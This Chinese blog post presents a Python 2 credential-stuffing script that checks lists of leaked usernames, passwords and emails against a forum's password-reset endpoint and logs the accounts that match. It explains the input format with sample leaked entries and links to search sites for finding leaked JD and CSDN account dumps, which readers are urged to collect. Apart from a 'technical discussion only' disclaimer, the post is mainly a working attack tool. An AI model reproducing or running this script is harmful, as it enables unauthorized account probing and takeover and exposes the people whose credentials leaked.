python 指令碼撞庫國內“某榴”賬號
阿新 • • 發佈:2018-12-13
其實日常生活中我們的使用者名稱和密碼就那麼幾個,所以這給撞庫帶來了可能,本文主要給出python指令碼撞庫的一點粗淺程式碼。這裡只討論技術本生,程式碼中某榴的地址也已經改掉,避免被管理員誤解禁言等發生,謝謝大家理解。
程式碼如下:
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
# -*- coding: utf-8 -*-
# flake8: noqa
__author__
=
'wukong'
import
sys
reload (sys)
sys.setdefaultencoding(
'utf-8'
)
import
requests
import
time
def
test_register(username,email):
headers
=
{
"Content-Type"
:
"application/x-www-form-urlencoded"
,
"user-agent"
:
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
,
"accept"
:
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"
,
"content-length"
:
"44"
,
}
try
:
params
=
{
'pwuser'
:username,
'email'
:email,
'step'
:
'2'
}
print
params
r
=
requests.post(
"https://某榴.tk/sendpwd.php?"
,data
=
params,headers
=
headers)
result
=
r.text.encode(
"latin1"
).decode(
"gbk"
)
return
result.replace(
'\n'
,'
').replace('
\t
','
').replace('
\r
','
').replace('
','
')
except
Exception as e:
print
e
def
check_file(username,password,email,
file
):
what
=
test_register(username,email)
if
what
and
u
"注意查收"
in
what:
print
username,password,email
info
=
username
+
","
+
password
+
","
+
email
with
open
(
file
,
'a+'
) as f:
f.write(info
+
'\n'
)
#加\n換行顯示
def
check_txt(no):
out_put
=
"output"
+
str
(no)
+
".txt"
file
=
str
(no)
+
".txt"
fh
=
open
(
file
)
for
line
in
fh.readlines():
try
:
r
=
line.split(
","
)
username
=
r[
0
]
password
=
r[
1
]
email
=
r[
2
]
check_file(username,password,email,out_put)
except
Exception as e:
print
"ee"
,e
time.sleep(
10
)
if
__name__
=
=
'__main__'
:
#get_all_data()
check_txt(
4
)
|
把程式碼放到某個資料夾裡面,然後準備幾個txt文件,文件以0-n的自然數命名,檔案格式為:
caopengyu,rQf7JaotOp+W7h12XgvpAg==,[email protected]
中二病,AAO2b4zLbWtgu6gxcyYHiQ==,[email protected]
主函式中寫4 代表文件4.txt,都很簡單,其他依此類推。
至於賬號問題,曾經京東、csdn都洩露過一批賬號,現在可以搜尋到,我經常使用網盤搜尋:
http://www.quzhuanpan.com/source/search.action?q=%E6%B3%84%E9%9C%B2%E8%B4%A6%E5%8F%B7¤tPage=1
https://www.panc.cc/s/%E8%B4%A6%E5%8F%B7%20%E6%B3%84%E9%9C%B2/td_0
http://www.panduoduo.net/s/name/%E8%B4%A6%E5%8F%B7%20%E6%B3%84%E9%9C%B2
大家自己嘗試獲取一些賬號。不會百度吧,這年頭不會搜東西的程式猿不是好程式猿。
僅限技術討論,勿要深究其他問題出現不和諧的東西,再次感謝,多多指正。